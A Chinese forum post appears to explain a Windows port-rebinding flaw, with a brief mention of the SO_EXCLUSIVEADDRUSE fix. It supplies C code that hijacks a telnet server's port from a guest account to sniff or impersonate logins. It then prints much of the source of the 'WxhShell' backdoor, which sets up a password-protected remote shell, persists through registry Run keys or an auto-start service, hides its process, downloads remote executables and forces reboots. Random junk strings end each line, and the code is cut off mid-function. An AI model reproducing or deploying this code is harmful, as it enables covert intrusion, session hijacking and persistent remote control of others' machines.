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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ?j:U<TY)  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); A,fPl R  
E!rgR5Bd  
  saddr.sin_family = AF_INET; Z)qts=  
e^%>_U  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); F'Lav?^  
AhA4IOG`.  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); oj$^87KX  
[Z -S0  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 *h9S\Pv>j  
nm}wdel"  
  这意味着什么?意味着可以进行如下的攻击: qvHRP@  
!8jr $  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 U#U'iPy  
S!oG|%VuB#  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) ;)7GdR^K  
V7}3H2]^  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 XLq%nVBM8\  
}<=4A\LZ  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  n`TXm g  
&Cykw$s  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 vQ_D%f4;  
K (!+l  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ^1 U<,<  
l!7O2Ai5  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 v<u`wnt  
S`t@L}  
  #include "54t7  
  #include &)Z!A*w]  
  #include iD"9,1@~n  
  #include    N*$L#L$*  
  DWORD WINAPI ClientThread(LPVOID lpParam);   Nk ~"f5q7  
  int main() 4Rv.m* ^B  
  { 9]]isE8r  
  WORD wVersionRequested; ZNN^  
  DWORD ret; vCe]iB  
  WSADATA wsaData; 7FB aN7l  
  BOOL val; yE{(Ebm  
  SOCKADDR_IN saddr; YEiQ`sYKG  
  SOCKADDR_IN scaddr; 'Z{_w s  
  int err; Jv[c?6He  
  SOCKET s; sc)}r_|g  
  SOCKET sc; nMT"Rp  
  int caddsize; -RK R. ,  
  HANDLE mt; sngM4ikhs  
  DWORD tid;   ^V;h>X|  
  wVersionRequested = MAKEWORD( 2, 2 ); s%OPoRE  
  err = WSAStartup( wVersionRequested, &wsaData ); lHI ;fR  
  if ( err != 0 ) { i"Z  
  printf("error!WSAStartup failed!\n"); M[1!#Q><!  
  return -1; </B<=tc  
  } YQ _]Jv k  
  saddr.sin_family = AF_INET; >JUOS2  
   9Z!|oDP-  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 VxTrL}{(6  
e0 &x?U*/  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); J&w'0  
  saddr.sin_port = htons(23); 8H7=vk+  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) /UP1*L  
  { xk\n F0z  
  printf("error!socket failed!\n"); Xub<U>e;b  
  return -1; E#A%aLp0E  
  } cy{ ado2  
  val = TRUE; p?idl`?^3  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 d")TH3pG  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) i[7<l&K]  
  { o >Faq+@  
  printf("error!setsockopt failed!\n"); JC#M,j2  
  return -1; 2T&n6t$p  
  } zg+6< .Sf  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ~[ZRE @  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 -?}Z0e(w  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 mR3-+dB/  
=+ vl+h  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) .sBwJZ  
  { C>~ms2c  
  ret=GetLastError(); 7B s:u  
  printf("error!bind failed!\n"); /_{B_2i/>  
  return -1;  U rL|r.  
  } u !@(u!Qz  
  listen(s,2); <l!{j?Kx  
  while(1) ~Kiu " g  
  { @F/yc  
  caddsize = sizeof(scaddr); !E.CpfaC  
  //接受连接请求 +DwE~l  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); /kH 7I  
  if(sc!=INVALID_SOCKET) JZ>E<U9&  
  { Sece#K2J|  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); u?%FD~l:uU  
  if(mt==NULL) {"WfA  
  { ApSzkPv*  
  printf("Thread Creat Failed!\n"); 9kby-A4  
  break; D4IP$pAD  
  } -POsbb>  
  } P,W(9&KM  
  CloseHandle(mt); Rn9e#_Az  
  } \6L,jSoBl  
  closesocket(s); PW QRy  
  WSACleanup(); pz0Q@n/X  
  return 0; +rWcfXOHM  
  }    eo&^~OVT  
  DWORD WINAPI ClientThread(LPVOID lpParam) 5v_vv'~  
  { bx._,G  
  SOCKET ss = (SOCKET)lpParam; 5lrjM^E|  
  SOCKET sc; 3](At%ss  
  unsigned char buf[4096]; Cc}3@Nf{/  
  SOCKADDR_IN saddr; r(OH  
  long num; Qr9@e Q1Pp  
  DWORD val; Y{D?&x%yq  
  DWORD ret; 4`zK`bRcK#  
  //如果是隐藏端口应用的话,可以在此处加一些判断 Qy7pM8~h  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   )uRR!<"~  
  saddr.sin_family = AF_INET; mPJ@hr%3  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); }F4%5go  
  saddr.sin_port = htons(23); S(#v<C,hd  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) sa w  
  { :3A^5}iz  
  printf("error!socket failed!\n"); .Ge`)_e  
  return -1; vB Vg/  
  } {&uN q^Ch  
  val = 100; D $&6 8  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) `b*x}HP$  
  { &|I{ju_  
  ret = GetLastError(); 7RCVqc"  
  return -1; K_GqM9  
  } #ja6nt8GC  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ]6;G#  
  { @B9O*x+n:  
  ret = GetLastError(); RgSB?  
  return -1; r*f:%epB%  
  } ^KUM4. 6  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) (Qd@Q,@(s  
  { W(o#2;{ ln  
  printf("error!socket connect failed!\n"); Wxzh'c#\8  
  closesocket(sc); XM~eocn  
  closesocket(ss); ge|Cv v  
  return -1; vRMGNz_P7[  
  } >A>_UT_"  
  while(1) 3B5 `Y  
  { Z> <,t~o}  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 R47tg&k6[  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 d~;U-  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 m+3]RIr&A  
  num = recv(ss,buf,4096,0); HE@P<  
  if(num>0) iJb-F*_y  
  send(sc,buf,num,0); jygKw+C  
  else if(num==0) :wz]d ~)  
  break; xG:7AGZ$[  
  num = recv(sc,buf,4096,0); # B@*-  
  if(num>0) pGP$2  
  send(ss,buf,num,0); \me-#: Gu  
  else if(num==0) hx hs>eY  
  break; 4\y>pXML-U  
  } rnQ9uNAu  
  closesocket(ss); 4?Qc&e{5  
  closesocket(sc); xM13OoU  
  return 0 ; >x8~?)7z  
  } VWW(=j  
] 69z-;  
qkD9xFp  
========================================================== K}8wCS F  
r<pt_Cd  
下边附上一个代码,,WXhSHELL /_i]bM7W  
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========================================================== (``|5;T\  
X!K:V~WG  
#include "stdafx.h" YzYj/,?r  
w"AO~LF  
#include <stdio.h> X;d 1@G  
#include <string.h> G$1gk^G's  
#include <windows.h> 0RP{_1k  
#include <winsock2.h> $o^N_`l  
#include <winsvc.h> l-M .C8N  
#include <urlmon.h> ]]/p.#oD,  
"tz`@3,5dN  
#pragma comment (lib, "Ws2_32.lib") Xagz(tm/  
#pragma comment (lib, "urlmon.lib") zfK3$|  
' eH Fa  
#define MAX_USER   100 // 最大客户端连接数 FmhN*ZXr #  
#define BUF_SOCK   200 // sock buffer 7vEZb.~4z  
#define KEY_BUFF   255 // 输入 buffer :JCe,1!3@  
0 2q*z>:^  
#define REBOOT     0   // 重启 X_#,5t=7  
#define SHUTDOWN   1   // 关机 \<x{U3q5  
c{!XDiT]P  
#define DEF_PORT   5000 // 监听端口 ty b-VO  
q@}tv =}  
#define REG_LEN     16   // 注册表键长度 6mC% zXR5  
#define SVC_LEN     80   // NT服务名长度 v,Yz\onB^  
H~~>ut6`  
// 从dll定义API &I?d(Z=:\  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); :{x    
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); * NdL4c~  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); kXW$[R  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); =QW:},sp  
5Cl;h^R|m  
// wxhshell配置信息 v Yw$m#@  
struct WSCFG { qrY]tb^K  
  int ws_port;         // 监听端口  6adXE  
  char ws_passstr[REG_LEN]; // 口令 V,>uM >$  
  int ws_autoins;       // 安装标记, 1=yes 0=no HKYJgx  
  char ws_regname[REG_LEN]; // 注册表键名 RhI>Ak;-  
  char ws_svcname[REG_LEN]; // 服务名 \-RVPa8k  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 o '!WW  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 X XC(R  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 nHIW_+<Mf  
int ws_downexe;       // 下载执行标记, 1=yes 0=no k>!A~gfP~  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ZvkBF9d  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 -+&sPrQ  
t"FB}%G  
}; )r6d3-p1  
H(ds  
// default Wxhshell configuration Y1L7sH 9  
struct WSCFG wscfg={DEF_PORT, _2nNCu (  
    "xuhuanlingzhe", #B8V2_M  
    1, Lb%:u5X\D@  
    "Wxhshell", Dt]*M_  
    "Wxhshell", LABLT;c  
            "WxhShell Service", dS~#Lzm  
    "Wrsky Windows CmdShell Service", zM++ Z*  
    "Please Input Your Password: ", V.~C.x  
  1, :DR}lOi`  
  "http://www.wrsky.com/wxhshell.exe", xQ@gh ( (  
  "Wxhshell.exe" 992cy2,Fb  
    }; S'%!KGVe  
SMbhJ}\O  
// 消息定义模块 ql%]t~HR0  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 4 X6_p(  
char *msg_ws_prompt="\n\r? for help\n\r#>"; uz[5h0c  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; lb[\Lzdvmu  
char *msg_ws_ext="\n\rExit."; D7OPFN 7`  
char *msg_ws_end="\n\rQuit."; yZqX[U  
char *msg_ws_boot="\n\rReboot..."; Ah1fcXED  
char *msg_ws_poff="\n\rShutdown..."; S_Ug=8r4  
char *msg_ws_down="\n\rSave to "; l]KxUkA+  
I9E]zoj8  
char *msg_ws_err="\n\rErr!"; Nk&$b  
char *msg_ws_ok="\n\rOK!"; Zh 3hCxXa  
GJbU1k]  
char ExeFile[MAX_PATH]; U+'h~P'4  
int nUser = 0; EmubpUS;  
HANDLE handles[MAX_USER]; +N>&b%  
int OsIsNt; i9quP"<9  
A"R5Fd%6pc  
SERVICE_STATUS       serviceStatus; 9ZXEy }q57  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; V~_aM@q1  
?s5hck hh  
// 函数声明 PxiJ R[a  
int Install(void); I.RmBUq):s  
int Uninstall(void); <-K'9ut,  
int DownloadFile(char *sURL, SOCKET wsh); R[_UbN 28  
int Boot(int flag); 9 M!J7 W  
void HideProc(void); 3v7*@(y  
int GetOsVer(void); o@blvW<v7  
int Wxhshell(SOCKET wsl); 4l`"P~=2<  
void TalkWithClient(void *cs); p:CpY'KV_  
int CmdShell(SOCKET sock); !;~6nYY  
int StartFromService(void); c&n.JV   
int StartWxhshell(LPSTR lpCmdLine); $l<(*,,l  
?Z[`sm  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); C lekB  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Fi_JF;  
Ht!]%  
// 数据结构和表定义 FCMV1,  
SERVICE_TABLE_ENTRY DispatchTable[] = Hj^_Cp]@*  
{ Jx_BjkF  
{wscfg.ws_svcname, NTServiceMain}, J'no{3Kt z  
{NULL, NULL} l=?G"1  
}; d1=fA%pJ  
_"R /k`8  
// 自我安装 O0Sk?uJ <  
int Install(void) M5>cYVG  
{ T\Ld)'fNv  
  char svExeFile[MAX_PATH]; YqSkz|o}m  
  HKEY key; +ZK12D}  
  strcpy(svExeFile,ExeFile); eJ O+MurO  
N% W298  
// 如果是win9x系统,修改注册表设为自启动 |SfmQ;  
if(!OsIsNt) { mcFJ__3MAV  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 6o!Y^^/U  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); !HPye@Ua  
  RegCloseKey(key); smTPca)7s  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 01/yog  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Nn]|#lLP  
  RegCloseKey(key); jdWA)N}kDG  
  return 0; -AcVVK&  
    } N(@B3%H2/J  
  } xpjv @P  
} 1so9w89  
else { F.[E;gOTo  
=@E X!]=x  
// 如果是NT以上系统,安装为系统服务 y2:~_MD  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); vjz*B$  
if (schSCManager!=0) e qzmEg  
{ /$NZj" #  
  SC_HANDLE schService = CreateService 0v/}W(  
  ( 12JmSvD  
  schSCManager, 7_*k<W7|  
  wscfg.ws_svcname, ;H;c Sn5uL  
  wscfg.ws_svcdisp, Kk?C   
  SERVICE_ALL_ACCESS, x'IYWo ]  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , U 3UDA  
  SERVICE_AUTO_START, {i09e1  
  SERVICE_ERROR_NORMAL, WMw^zq?hd@  
  svExeFile, YLVZ]fN=>  
  NULL, ap y#8]  
  NULL, rE[:j2HF  
  NULL, VQ,;~^Td  
  NULL, ] eO25,6  
  NULL rM y(NAo_  
  ); 2LqJ.HH  
  if (schService!=0) lUJ~_`D  
  { 2Sg^SZFH+o  
  CloseServiceHandle(schService); )E hR qX9  
  CloseServiceHandle(schSCManager); Q?uHdmY*X  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 3{*nG'@Mal  
  strcat(svExeFile,wscfg.ws_svcname); X}@'FxIF  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Q6lC:cB<  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); v:7_ZD6kR  
  RegCloseKey(key); cU  
  return 0; ^^FqN;  
    } )GC9%mF;  
  } V9%!B3Sb  
  CloseServiceHandle(schSCManager); p}:"@6  
} :*6#(MX  
} "1iLfQ  
KdTDBC  
return 1; CL)*cu6zG  
} C1ZuDL)e  
\lBY4j+;  
// 自我卸载 }F<=  
int Uninstall(void) $(=0J*ND"  
{ }3DZ`8u  
  HKEY key; KW 78J~u+  
\zMx~-2oN  
if(!OsIsNt) { $ctpg9 7  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 7(W"NF{r  
  RegDeleteValue(key,wscfg.ws_regname); - D&d1`N4  
  RegCloseKey(key); 7~2c"WE  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ZtofDp5B  
  RegDeleteValue(key,wscfg.ws_regname); Q GoBugU  
  RegCloseKey(key); &RL j^A!  
  return 0; 4;D>s8dgG  
  } E$1P H)  
} 31)eDs  
} >5c38D7k)  
else { k0^t$J W  
=f\BAi  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); sG K7Uy  
if (schSCManager!=0) *ud/'HR8]  
{ L2}p<?f  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); f~ -qjEWm  
  if (schService!=0) ,\^RyHg  
  { ,JONc9  
  if(DeleteService(schService)!=0) { ^EF VjGM  
  CloseServiceHandle(schService); U3OXO 1  
  CloseServiceHandle(schSCManager); d: {#Dk#  
  return 0; {wwkbc*  
  } qw35LyL  
  CloseServiceHandle(schService); dR@XwEpP  
  } \F5d p  
  CloseServiceHandle(schSCManager); K^f&+`v6_  
} trm-&e7q?;  
} 3"HX':8x  
\yKYBfp-p  
return 1; t=BXuFiu  
} s.j6" Q[W  
KnxK9  
// 从指定url下载文件 }]!?t~5*  
int DownloadFile(char *sURL, SOCKET wsh) 4khc*fh  
{ \VAm4   
  HRESULT hr; qku}cWD9/_  
char seps[]= "/"; f*E#E=j  
char *token; rcU*6`IWA  
char *file; ibL    
char myURL[MAX_PATH]; Zy&?.d[z  
char myFILE[MAX_PATH]; K1_#Jhz  
ipH'}~=ID  
strcpy(myURL,sURL); dQ`=CIr  
  token=strtok(myURL,seps); 7I;A5f  
  while(token!=NULL) CEl9/"0s6  
  { u.9syr  
    file=token; Qf.]Mw?Bm  
  token=strtok(NULL,seps); 'd |*n#Dqc  
  } J[{?Y'RUM  
6u [ B}%l  
GetCurrentDirectory(MAX_PATH,myFILE); Gm.2!F=R4A  
strcat(myFILE, "\\"); mr<camL5  
strcat(myFILE, file); {No Y`j5S  
  send(wsh,myFILE,strlen(myFILE),0); G-Dc(QhU&  
send(wsh,"...",3,0); w7`09oJm  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); hyVBQhk  
  if(hr==S_OK) >})W5Y+  
return 0; wNQhg  
else t~kh?u].j  
return 1; U C..)9  
hzV= 7  
} +Vw]DLWR  
)m<CmYr2  
// 系统电源模块 wS @-EcCB  
int Boot(int flag) (K`@OwD  
{ +(/' b' *  
  HANDLE hToken; {2T;^+KE  
  TOKEN_PRIVILEGES tkp; 7 (pl HW|  
B*&HQW *u  
  if(OsIsNt) { b<8,'QgB  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); D]NJ ^.X  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); cg).b?g  
    tkp.PrivilegeCount = 1; v/[*Pze,C  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; |DkK7gw  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); u )k Q*&  
if(flag==REBOOT) { I08W I u  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) [iUy_ C=qp  
  return 0; ?4H>1Wkb  
} BI:O?!:9)  
else { /y[zOT6  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) z#Db~  
  return 0; h42dk(B  
} n# "N"6s  
  } `L7Cf&W\l8  
  else { f?W"^6Df  
if(flag==REBOOT) { -h%1rw  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) v%E~sX&CG  
  return 0; q"Th\? }%  
} @r3,|tkrz  
else { DT[WO_=  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) bmI6OIWl  
  return 0; ; fxrOfb  
} /0(c-Dv  
} bBgyLyg  
ZYs?65.  
return 1; OCv,EZ  
} 8T}Dn\f  
eZMfn$McJv  
// win9x进程隐藏模块 #8r1<`']!  
void HideProc(void) RW|Xh8.O  
{ gPcOm b  
-7(,*1Tk  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); "w{$d&+?ag  
  if ( hKernel != NULL ) 1{.5X8y1x  
  { v(~EO(n.  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); |u_fVQj  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); d-'BT(@:  
    FreeLibrary(hKernel); >9,:i)m_  
  } 2U& +K2  
g>;"Fymc'  
return; dfWtLY  
} BY>]6SrP  
xwa@h}\#  
// 获取操作系统版本 `*y%[J,I#  
int GetOsVer(void) C=x70Y/  
{  & {=}U  
  OSVERSIONINFO winfo;  I|. <  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 9v?rNJs  
  GetVersionEx(&winfo); 3*#$:waGd  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) oQK,#>rv  
  return 1; p Cgm!t?/  
  else iM M s3  
  return 0; l._g[qa  
} _V(FHjY  
ZwM d 22  
// 客户端句柄模块 g"v6UZ\  
int Wxhshell(SOCKET wsl) R{UZCFZ  
{ iHeu<3O  
  SOCKET wsh; OlX#1W]  
  struct sockaddr_in client; ~T!D:2G  
  DWORD myID; rm4t  
uTNy{RBD+  
  while(nUser<MAX_USER) dpcU`$kt  
{ \|6Q]3l  
  int nSize=sizeof(client); wowWq\euY  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); V\=%u<f  
  if(wsh==INVALID_SOCKET) return 1; ^+x,211f  
XwDt8TxL  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); g=jB'h?  
if(handles[nUser]==0) OmZK~$K_  
  closesocket(wsh); J3hhh(  
else zQoJ8i>  
  nUser++; ;i!$rL  
  } y=zs6HaS  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); <SiJA`(7  
O)c3Lm-w  
  return 0; 'j;i4ie>*x  
} \qJ cs'D  
s){R/2O3F  
// 关闭 socket ~h$ H@&5  
void CloseIt(SOCKET wsh) 2XyC;RWJ%  
{ &?# YjU"  
closesocket(wsh); g ,yB^^%  
nUser--; 4iY <7l8  
ExitThread(0); /4$ c-k  
} ;iz3Bf1o  
83F]d+n  
// 客户端请求句柄 d?><+!a  
void TalkWithClient(void *cs) Ict+|<f  
{ |-xKH.'n  
4%7Oaf>9  
  SOCKET wsh=(SOCKET)cs; |WSm puf  
  char pwd[SVC_LEN]; Yu:($//w  
  char cmd[KEY_BUFF]; S+l>@wa)|  
char chr[1]; xP &@|Ag  
int i,j; 3935cxT1U  
64D4*GQ  
  while (nUser < MAX_USER) { M7ug < 8i  
|;R-q8  
if(wscfg.ws_passstr) { jV' tcFr4  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); pIY3ft\  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 1-PFM-  
  //ZeroMemory(pwd,KEY_BUFF); Kir|in)r0  
      i=0; AjINO}b  
  while(i<SVC_LEN) { +'a G{/J  
Pt7C/ qM/  
  // 设置超时 ]0g1P-&,U  
  fd_set FdRead; zwK$ q=-:  
  struct timeval TimeOut; :AyZe7:(D  
  FD_ZERO(&FdRead); c+jnQM'  
  FD_SET(wsh,&FdRead); p7[&H/  
  TimeOut.tv_sec=8; 1~[GGl  
  TimeOut.tv_usec=0; 0$|wj^?U  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); GuQ#  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); BG+X8t8\  
`3.bux~  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ^ ?T,>ZI  
  pwd=chr[0]; 0p=  
  if(chr[0]==0xd || chr[0]==0xa) { F2v9 XMi  
  pwd=0; !%QbE[Kl>  
  break; U!T#'H5'-  
  } n;k B_i*l  
  i++; X iM{YZ`B  
    } #Q%0y^s  
|2&|#K4k^  
  // 如果是非法用户,关闭 socket dq3"L!0u  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ,62BZyT,T,  
} >k(AQW5?  
Hzc^fC  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); v[>8<z8  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); K\$z,}0  
E /V`NqC  
while(1) { XNkQ0o0  
nG"Ae8r  
  ZeroMemory(cmd,KEY_BUFF); Og kb N`  
cQh=Mri]  
      // 自动支持客户端 telnet标准   q,(hs]\@  
  j=0; DkBVk+  
  while(j<KEY_BUFF) { <@=w4\5j9  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); bM $WU?Z  
  cmd[j]=chr[0]; +ID% (:  
  if(chr[0]==0xa || chr[0]==0xd) { Cv qUaHW@  
  cmd[j]=0; \>4x7mF!  
  break; iD2>-yf  
  } cS"PIelR  
  j++; =Lr# *ep[  
    } r-o6I:y  
\fL:Ie  
  // 下载文件 ooT~R2u  
  if(strstr(cmd,"http://")) { n:YA4t7S  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ^X slj  
  if(DownloadFile(cmd,wsh)) @fSqGsSk  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9wv 7 HD|  
  else #NWc<Dd  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); r;8$ 7C.  
  } ) 2Hl\"F  
  else { ow,=M%x"0  
8 9f{8B]z  
    switch(cmd[0]) { x<{)xP+|  
  xsXf_gGu  
  // 帮助 }L|XZL_Jo#  
  case '?': { _1P8rc"Dx  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); (1Ii86EP  
    break; cGe-|>:  
  } !u|s| 6{\  
  // 安装 TzK[:o  
  case 'i': { O.+X,CQG*  
    if(Install()) 8BwJWxBQ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); x)o`w"]al  
    else /<oBgFMoJ  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); RDQK_Ef:  
    break; CEp @-R  
    } $9O%,U@  
  // 卸载 \}mn"y  
  case 'r': { Iw) 'Yyg  
    if(Uninstall()) &(HIBF'O  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8&9'1X5)8_  
    else /|{~GD +A&  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 1]Gp \P}  
    break; _ ?Z :m  
    } ?BnjtefIe  
  // 显示 wxhshell 所在路径 C\p _  
  case 'p': { dz Z75  
    char svExeFile[MAX_PATH]; 9dD;Z$x&Xk  
    strcpy(svExeFile,"\n\r"); Kzgnh gc  
      strcat(svExeFile,ExeFile); \d{S3\7  
        send(wsh,svExeFile,strlen(svExeFile),0); %QrpFE5 V5  
    break;  6,;7iA]  
    } DnW*q/=w  
  // 重启 Qcr-|?5L  
  case 'b': { SV96eYT<  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); RP4P"m(   
    if(Boot(REBOOT)) L5yv}:.U  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); }~`l!ApD  
    else { p8Wik<'^  
    closesocket(wsh); :IlJQ{=W  
    ExitThread(0); |*WE@L5  
    } w(Hio-l=  
    break; x4vowF  
    } s0x;<si_  
  // 关机 T.p:`}Ma  
  case 'd': { 2k$~Mv@L  
